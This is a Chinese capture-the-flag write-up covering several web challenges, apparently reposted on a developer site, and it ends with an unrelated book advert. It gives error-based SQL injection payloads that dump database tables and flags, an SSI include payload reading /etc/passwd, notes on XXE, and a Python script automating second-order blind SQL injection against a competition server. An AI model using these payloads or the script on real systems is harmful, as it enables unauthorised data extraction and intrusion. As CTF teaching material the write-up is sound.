随手登录一下
发现报错,于是尝试
admin' and (extractvalue(1,concat(0x7e,database())))#
admin' and (extractvalue(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()))))#
admin' and (extractvalue(1,concat(0x7e,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flag'))))#
admin' and (extractvalue(1,concat(0x7e,(select flag from flag limit 0,1))))#
前半段
'~EIS{7879f0a27d8bcfcff0bcc837d76'
admin' and (extractvalue(1,concat(0x7e,(select substr(flag,30,60) from flag limit 0,1))))#
后半段
~7641e81}
最后flag
EIS{7879f0a27d8bcfcff0bcc837d7641e81}
SimpleServerInjection
题目提示
SimpleServerInjection, SSI, flag in current directory
随即搜索SSI
https://blog.csdn.net/wutianxu123/article/details/82724637
结果这个文章第一个就是payload。。。
<!--#include virtual="/etc/passwd" -->
于是测试
http://210.32.4.22/index.php?name=<!--#include virtual="flag" -->
得到flag
EIS{59f2c02f18838b3fb57dd57e2808f9c2}
SimpleExtensionExplorerInjection
题目提示XXE,直接xxe是不行的
所以需要改type
然后即可xxe读文件,得到flag
SimplePrintEventLogger
直接可以进行列目录
然后得到flag
不知道是不是非预期了?题目提示RCE,还有一个backdoor的路由没用上
SimpleBlog
发现题目提示2次注入
于是尝试注册
sky' sky'#
发现前者分数都是0,后者有分数
那么可以判断,更新分数的时候使用了用户名
但是想要构造一般的bool盲注不行,因为必须 sql 语句报错
这里想到整数溢出问题
1' and if(1,exp(999999999999),1)#
这样即可使sql语句报错,导致出现
grade 0
而如果使用
1' and if(0,exp(999999999999),1)#
那么分数一切正常,于是可以利用这一点进行注入
编写脚本
import requests
def reg(username,password='1'):
data = {
'username':username,
'password':password
}
url = 'http://210.32.4.20/register.php'
r = requests.post(url=url,data=data)
return r.headers['Set-Cookie'][10:-8]
def login(session,username,password='1'):
data = {
'username': username,
'password': password
}
cookie = {
'PHPSESSID':session
}
url = 'http://210.32.4.20/login.php'
r = requests.post(url=url, data=data,cookies=cookie)
data = {
'10.a':'on'
}
url = 'http://210.32.4.20/answer.php'
r = requests.post(url=url, data=data,cookies=cookie)
if 'Your grades is 0' in r.content:
return 1
url = 'http://210.32.4.20/logout.php'
r = requests.get(url=url,cookies=cookie)
return 0
flag = 'EIS{'
for i in range(5,1000):
for k in 'abcdef0123456789}':
j = ord(k)
payload='''1' and if((ascii(substr((select flag from flag limit 0,1),%d,1))=%d),exp(999999999999),1)#'''%(i,j)
try:
session = reg(payload)
if login(session,payload):
flag+=chr(j)
print flag
break
except:
session = reg(payload)
if login(session,payload):
flag+=chr(j)
print flag
break
不知道题目提示文件包含是什么意思,可能非预期了?
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Introduction to Linear Optimization
Dimitris Bertsimas、John N. Tsitsiklis / Athena Scientific / 1997-02-01 / USD 89.00
"The true merit of this book, however, lies in its pedagogical qualities which are so impressive..." "Throughout the book, the authors make serious efforts to give geometric and intuitive explanations......一起来看看 《Introduction to Linear Optimization》 这本书的介绍吧!